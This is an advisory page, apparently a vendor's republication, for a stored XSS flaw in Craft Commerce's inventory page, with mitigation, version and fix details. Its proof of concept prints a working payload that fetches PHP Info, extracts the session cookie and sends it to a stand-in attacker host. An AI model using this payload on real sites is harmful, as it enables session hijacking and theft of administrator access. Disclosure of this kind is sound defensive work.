Summary
Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking
Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.
This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.
Proof of Concept
Permissions Required
- Access the control panel
- Access Craft Commerce
- Create/Edit products
Steps to Reproduce
- Log in to the control panel
- Navigate to Commerce → Products
- Add a new product and set the Title field to: (replace
https://attacker.com)<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> - Save the product
- Navigate to Commerce → Inventory (
/admin/commerce/inventory) - XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server
Cookie Extraction Details
The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:
HTTP_COOKIECookie(used in this PoC)$_SERVER['HTTP_COOKIE']$_COOKIE['<cookie-name>']
Notes
- The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.
$_COOKIE['CRAFT_CSRF_TOKEN']is masked in PHP Info, but the unmasked value is available in the other parameters listed above.- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.
Mitigation
- Sanitize product and variant fields when rendering in the inventory template
- Mask sensitive cookie values in the PHP Info utility page (similar to how
CRAFT_CSRF_TOKEN,CRAFT_SECURITY_KEY, andCRAFT_DB_PASSWORDare already masked)
Impact
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-29175? CVE-2026-29175 is a high-severity cross-site scripting (XSS) vulnerability in craftcms/commerce (composer), affecting versions >= 5.0.0, <= 5.5.2. It is fixed in 5.5.3. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of craftcms/commerce are affected by CVE-2026-29175? craftcms/commerce (composer) versions >= 5.0.0, <= 5.5.2 is affected.
- Is there a fix for CVE-2026-29175? Yes. CVE-2026-29175 is fixed in 5.5.3. Upgrade to this version or later.
- Is CVE-2026-29175 exploitable, and should I be worried? Whether CVE-2026-29175 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-29175 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-29175? Upgrade
craftcms/commerceto 5.5.3 or later.